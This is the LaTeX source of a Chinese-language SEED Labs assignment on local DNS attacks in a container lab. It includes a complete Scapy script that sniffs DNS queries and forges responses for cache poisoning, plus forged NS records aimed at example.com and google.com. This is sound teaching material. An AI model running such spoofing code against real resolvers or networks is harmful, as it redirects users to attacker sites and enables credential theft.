%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%  Copyright by Wenliang Du.                                       %%
%%  This work is licensed under the Creative Commons                %%
%%  Attribution-NonCommercial-ShareAlike 4.0 International License. %%
%%  To view a copy of this license, visit                           %%
%%  http://creativecommons.org/licenses/by-nc-sa/4.0/.              %%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

\newcommand{\commonfolder}{../../common-files}

\input{\commonfolder/header}
\input{\commonfolder/copyright}

\newcommand{\dnsFigs}{./Figs}
\lhead{\bfseries SEED 实验 -- 本地 DNS 攻击实验}

\def \code#1 {\fbox{\scriptsize{\texttt{#1}}}}

\newcommand{\bankcom}{\url{bank32.com}\xspace}
\newcommand{\wwwbank}{\url{www.bank32.com}\xspace}
\newcommand{\examplenet}{\url{example.net}\xspace}
\newcommand{\wwwexample}{\url{www.example.net}\xspace}
\newcommand{\apollo}{\texttt{Apollo}\xspace}

\begin{document}

\begin{center}
{\LARGE 本地 DNS 攻击实验}
\end{center}

\seedlabcopyright{2018 - 2020}

% *******************************************
% SECTION
% *******************************************
\section{实验概述}

DNS（域名系统）是互联网的电话簿；它将主机名转换为 IP 地址（反之亦然）。
这种转换通过 DNS 解析完成。DNS 攻击可以有多种方法影响这个解析过程，
从而误导用户访问其他目的地，通常这些目的地是恶意的。
本实验的目标是了解这些攻击是如何工作的。
学生们将首先设置并配置 DNS 服务器，然后尝试对实验环境中的目标进行各种 DNS 攻击。

攻击本地受害者与远程 DNS 服务器的难度有很大不同。因此，我们开发了两个实验，
一个专注于本地 DNS 攻击，另一个专注于远程 DNS 攻击。本实验重点讲解本地攻击。
本实验包括以下内容：

\begin{itemize}[noitemsep]
\item DNS 及其工作原理
\item DNS 服务器设置
\item DNS 缓存投毒攻击
\item 伪造 DNS 响应
\item 数据包嗅探与欺骗
\item Scapy 工具
\end{itemize}

\paragraph{阅读与视频资料。}
有关 DNS 协议和攻击的详细内容，可以参考以下资料：

\begin{itemize}
\item SEED 书的第 18 章，\seedbook
\item SEED 视频的第 7 节，\seedisvideo
\end{itemize}

\paragraph{实验环境。} \seedenvironmentC

% *******************************************
% SECTION
% *******************************************
\section{实验环境设置任务}
\label{sec:environment}

DNS 缓存投毒攻击的主要目标是本地 DNS 服务器。显然，攻击真实服务器是非法的，
因此我们需要设置自己的 DNS 服务器来进行攻击实验。实验环境需要四台独立的机器：
一台用于受害者，一台用于本地 DNS 服务器，另外两台作为攻击者。
实验环境的设置如图~\ref{dns:fig:environment}所示。
本实验专注于本地攻击，因此我们将所有机器放在同一局域网内。

\begin{figure}[htb]
\centering
\includegraphics[width=0.8\textwidth]{\commonfolder/Figs/DNS_2lans.pdf}
\caption{实验环境设置}
\label{dns:fig:environment}
\end{figure}

% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{容器设置和命令}

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\input{\commonfolder/container/setup}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{关于攻击者容器}

在本实验中，我们可以使用虚拟机（VM）或攻击者容器作为攻击者机器。如果查看 Docker Compose 文件，
您会看到攻击者容器与其他容器的配置不同。

\begin{itemize}
\item \textit{共享文件夹。} 当我们使用攻击者容器发起攻击时，需要将攻击代码放入攻击者容器中。
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\input{\commonfolder/container/volumes}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

\item \textit{主机模式。} 
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\input{\commonfolder/container/host_mode}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\end{itemize}

% -------------------------------------------
% SUBSECTION
% -------------------------------------------
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\input{\commonfolder/DNS/summary_of_config}
\input{\commonfolder/DNS/setup_testing}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

% *******************************************
% SECTION
% *******************************************
\section{攻击任务}

DNS 攻击的主要目标是将用户重定向到机器 B，当用户试图通过 A 的主机名访问 A 时。例如，
当用户试图访问在线银行时，如果攻击者能够将用户重定向到一个看起来非常像这个银行的恶意网站，
用户可能会被骗并泄露其在线银行账户的密码。

% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{任务 1: 直接向用户伪造响应}

\begin{figure}[htb]
\centering
\includegraphics[width=1.0\textwidth]{\dnsFigs/attack_server_local.pdf}
\caption{本地 DNS 投毒攻击}
\label{dns:fig:local_attack}
\end{figure}

当用户在浏览器中输入一个网站名称（如{\tt www.example.com}）时，用户的计算机会向本地 DNS 服务器发送一个
DNS 请求来查询该主机名的 IP 地址。攻击者可以嗅探 DNS 请求消息，
然后立即创建一个假的 DNS 响应，并将其发送回用户计算机。如果假响应比真实响应先到达，
它将被用户计算机接受（见图~\ref{dns:fig:local_attack}）。

请编写一个程序来发起这样的攻击。以下提供了一个代码框架。在第~\ref{sec:guideline}节中，您可以看到如何
创建包含各种记录的 DNS 数据包。SEED 教科书中也提供了详细的指导。

\begin{lstlisting}
#!/usr/bin/env python3
from scapy.all import *
import sys

NS_NAME = "example.com"

def spoof_dns(pkt):
  if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
    print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))

    ip = IP(...)           # 创建 IP 对象
    udp = UDP(...)         # 创建 UDP 对象
    Anssec = DNSRR(...)    # 创建答案记录
    dns = DNS(...)         # 创建 DNS 对象
    spoofpkt = ip/udp/dns  # 拼装出伪造的 DNS 数据包
    send(spoofpkt)

myFilter = "..."    # 设置过滤器
pkt=sniff(iface='(*@\textbf{br-43d947d991eb}@*)', filter=myFilter, prn=spoof_dns)
\end{lstlisting}

需要注意的是，在上述代码中，\texttt{iface} 参数中的值应替换为您实际的网络接口名， 
这是连接到 \texttt{10.9.0.0/24} 网络的接口。

当攻击程序正在运行时，您可以在用户计算机上运行 \texttt{dig} 命令。该命令将触发用户机器向本地 DNS 
服务器发送 DNS 查询，该查询最终将发送到 \texttt{example.com} 域的权威名称服务器（如果缓存中没有答案）。
如果您的攻击成功，您应该能够在响应中看到伪造的信息。请比较攻击前后的结果。

在发起攻击之前，请确保清空本地 DNS 服务器的缓存。如果缓存中已有答案，来自本地 DNS 服务器的响应
将比您伪造的响应更快，您的攻击将很难成功。

\paragraph{潜在问题。} 当我们使用容器进行实验时，有时（并非总是）会遇到一个非常奇怪的情况：容器中的嗅探
和伪造操作非常慢，甚至伪造的数据包比来自互联网的合法数据包还要晚到达，尽管我们处于本地网络中。
过去在使用虚拟机时，我们从未遇到过这个问题。我们尚未找到导致此性能问题的原因（如果您对此问题有任何
见解，请告诉我们）。

如果您遇到此奇怪的情况，我们可以通过以下方式规避它：故意增加外部网络流量的延迟， 
以使得真实的响应不会那么快到达。可以使用以下 \texttt{tc} 命令在路由器上添加延迟。
路由器有两个接口，\texttt{eth0} 和 \texttt{eth1}，请确保使用连接到外部网络 \texttt{10.8.0.0/24}

\begin{lstlisting}
// 延迟网络流量 100 毫秒
# tc qdisc add dev (*@\textbf{eth0}@*) root netem delay 100ms

// 删除 tc 条目
# tc qdisc del dev eth0 root netem

// 显示所有 tc 条目 
# tc qdisc show dev eth0
\end{lstlisting}

您可以在整个实验过程中一直保留这个 \texttt{tc} 条目启用，因为后面的所有任务都可能遇到类似的情况。

% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{任务 2: DNS 缓存投毒攻击 -- 伪造答案}

上述攻击的目标是用户的计算机。为了实现长期影响，每次用户的计算机发送 DNS 查询请求 \url{www.example.com} 时，攻击者的机器必须发送伪造的 DNS 响应。这效率不高。有一个更好的方式，可以攻击 DNS 服务器，而不是用户的计算机。

当本地 DNS 服务器接收到查询时，它首先从自己的缓存中查找答案。如果答案已经缓存，DNS 服务器将直接使用缓存中的信息进行回复。如果缓存中没有答案，DNS 服务器就会从其他 DNS 服务器获取答案。当它获得答案后，便会将答案存储到缓存中，下次查询时就不需要再向其他 DNS 服务器发请求。见图~\ref{dns:fig:local_attack}。

因此，如果攻击者能够伪造其他 DNS 服务器的响应，本地 DNS 服务器会将伪造的响应存入缓存，并保持一定时间。下次，当用户的计算机想要查询相同的主机名时，它将从缓存中获得伪造的响应。这样，攻击者只需要伪造一次，影响就能持续到缓存信息过期为止。这个攻击被称为 {\em DNS 缓存投毒}。

请修改前一个任务中的程序来实现此攻击。在发起攻击之前，确保 DNS 服务器的缓存为空。可以使用以下命令来清空缓存：

\begin{lstlisting}
# rndc flush
\end{lstlisting}

您可以检查本地 DNS 服务器的缓存，查看是否已经中毒。以下命令会首先将缓存的内容转储到一个文件中，然后显示该文件的内容：

\begin{lstlisting}
# rndc dumpdb -cache
# cat /var/cache/bind/dump.db
\end{lstlisting}

% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{任务 3: 伪造 NS 记录}

在上一个任务中，我们的 DNS 缓存投毒攻击仅影响了一个主机名，即 \url{www.example.com}。如果用户尝试获取另一个主机名（如 \url{mail.example.com}）的 IP 地址，我们需要再次发起攻击。如果我们能够发起一次攻击，并影响整个 \texttt{example.com} 域，这样会更高效。

方法是利用 DNS 响应中的权威（Authority）部分。在伪造响应时，除了伪造答案（Answer 部分），我们还可以在权威部分添加以下内容。当本地 DNS 服务器缓存了这一条目后，\url{ns.attacker32.com} 将被用作将来对 \texttt{example.com} 域中任何主机名查询的域名服务器。由于 \url{ns.attacker32.com} 是由攻击者控制的，因此它可以为任何查询提供伪造的答案。在我们的设置中，这台机器的 IP 地址是 \texttt{10.9.0.153}。

\begin{lstlisting}
;; AUTHORITY SECTION:
example.com.            259200  IN      NS       ns.attacker32.com.
\end{lstlisting}

请在您的攻击代码中添加伪造的 NS 记录，并发起攻击。第~\ref{sec:guideline}节提供了如何在 DNS 响应包中包含 NS 记录的示例。SEED 教科书中也有详细的指导。在进行攻击之前，请记得先清空本地 DNS 服务器的缓存。如果攻击成功，当您在用户计算机上运行 \texttt{dig} 命令查询 \url{example.com} 域中的任何主机名时，您将得到 \texttt{ns.attacker32.com} 提供的伪造 IP 地址。请同时检查本地 DNS 服务器的缓存，查看伪造的 NS 记录是否已被缓存。

% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{任务 4: 伪造另一个域的 NS 记录}

在之前的攻击中，我们成功地在本地 DNS 服务器的缓存投毒，使 \texttt{ns.attacker32.com} 成为 \texttt{example.com} 域的域名服务器。受到这个成功的启发，我们希望将其影响扩展到其他域。也就是说，在由查询 \url{www.example.com} 引发的伪造响应中，我们希望在权威部分添加以下条目，使得 \url{ns.attacker32.com} 也被用作 \texttt{google.com} 的域名服务器。

\begin{lstlisting}
;; AUTHORITY SECTION:
example.com.            259200  IN      NS   ns.attacker32.com.
google.com.             259200  IN      NS   ns.attacker32.com.
\end{lstlisting}

请稍微修改您的攻击代码，以便在本地 DNS 服务器上发起上述攻击。攻击后，检查 DNS 缓存并查看哪些记录已被缓存。请描述并解释您的观察结果。需要注意的是，我们攻击的查询仍然是对 \texttt{example.com} 的查询，而不是对 \texttt{google.com} 的查询。

% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{任务 5: 在附加部分伪造记录}

在 DNS 响应中，有一个叫做附加部分（Additional Section）的记录，用于提供附加信息。在实际应用中，它通常用来提供某些主机名的 IP 地址，特别是那些出现在权威部分的主机名。本任务的目标是伪造该部分中的一些条目，并观察它们是否会成功缓存到目标本地 DNS 服务器中。特别是，当响应 \texttt{www.example.com} 的查询时，我们在伪造响应中除了答案部分的条目之外，还添加以下条目，：

\begin{lstlisting}
;; AUTHORITY SECTION:
example.com.            259200  IN   NS   ns.attacker32.com.
example.com.            259200  IN   NS   ns.example.com.

;; ADDITIONAL SECTION:
ns.attacker32.com.      259200  IN   A    1.2.3.4   (*@\ding{192}@*)
ns.example.net.         259200  IN   A    5.6.7.8   (*@\ding{193}@*)
www.facebook.com.       259200  IN   A    3.4.5.6   (*@\ding{194}@*)
\end{lstlisting}

条目 \ding{192} 和 \ding{193} 与权威部分中的主机名相关。条目 \ding{194} 与响应中的任何条目无关，但它为用户提供了``额外的''帮助，这样用户就不需要查找 Facebook 的 IP 地址。请使用 Scapy 来伪造这样的 DNS 响应。您的任务是报告哪些条目会被成功缓存，哪些条目不会被缓存，并解释原因。

% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{接下来做什么}

在本实验的 DNS 缓存投毒攻击中，我们假设攻击者和 DNS 服务器位于同一局域网中，即攻击者可以观察到 DNS 查询消息。当攻击者和 DNS 服务器不在同一局域网中时，缓存投毒攻击变得更加具有挑战性。如果您有兴趣挑战这一难度，可以尝试我们提供的《远程 DNS 攻击实验》。

% *******************************************
% SECTION
% ******************************************* 
\section{实验指导}
\label{sec:guideline}

本实验需要使用 Scapy 完成多个任务。以下示例代码展示了如何嗅探 DNS 查询，并伪造一个 DNS 响应，响应中包含一个答案部分的记录、两个权威部分的记录和两个附加部分的记录。代码已包含在 \texttt{Labsetup.zip} 文件中（在 \texttt{volumes} 文件夹内）。

\begin{lstlisting}[caption={示例代码: \texttt{dns\_sniff\_spoof.py}}]
#!/usr/bin/env python3
from scapy.all import *
 
def spoof_dns(pkt):
  if (DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname.decode('utf-8')):

    # 交换源和目标 IP 地址
    IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)

    # 交换源和目标端口号 
    UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

    # 答案部分
    Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',               
                 ttl=259200, rdata='10.0.2.5')

    # 权威部分
    NSsec1 = DNSRR(rrname='example.net', type='NS',
                   ttl=259200, rdata='ns1.example.net')
    NSsec2 = DNSRR(rrname='example.net', type='NS',
                   ttl=259200, rdata='ns2.example.net')

    # 附加部分
    Addsec1 = DNSRR(rrname='ns1.example.net', type='A', 
                    ttl=259200, rdata='1.2.3.4')
    Addsec2 = DNSRR(rrname='ns2.example.net', type='A',
                    ttl=259200, rdata='5.6.7.8')

    # 构建 DNS 数据包
    DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,  (*@\ding{81}@*)
                 qdcount=1, ancount=1, nscount=2, arcount=2,
                 an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2)

    # 构建整个 IP 数据包并发送
    spoofpkt = IPpkt/UDPpkt/DNSpkt
    send(spoofpkt)

# 嗅探 DNS 查询数据包并调用 spoof_dns() 方法                		
f = 'udp and dst port 53'
pkt = sniff(iface='br-43d947d991eb', filter=f, prn=spoof_dns)       (*@\ding{73}@*)    
\end{lstlisting}

请确保在第~\ding{73}行将接口名称替换为您系统中的名称。第~\ding{81}行构建了 DNS 数据负载，包括 DNS 头部和数据。每个字段的解释如下：

\begin{itemize}[noitemsep]
\item \texttt{id}: Transaction ID；应与请求中的相同
\item \texttt{qd}: 查询域名；应与请求中的相同
\item \texttt{aa}: 权威回答（1 表示答案包含权威回答）
\item \texttt{rd}: 是否启用递归查询（0 表示禁用递归查询）
\item \texttt{qr}: 查询响应位（1 表示响应）
\item \texttt{qdcount}: 查询部分中的记录数
\item \texttt{ancount}: 答案部分中的记录数
\item \texttt{nscount}: 权威部分中的记录数
\item \texttt{arcount}: 附加部分中的记录数
\item \texttt{an}: 答案部分
\item \texttt{ns}: 权威部分
\item \texttt{ar}: 附加部分
\end{itemize}


% *******************************************
% SECTION
% ******************************************* 
\section{Submission}

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\input{\commonfolder/submission}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%


\end{document}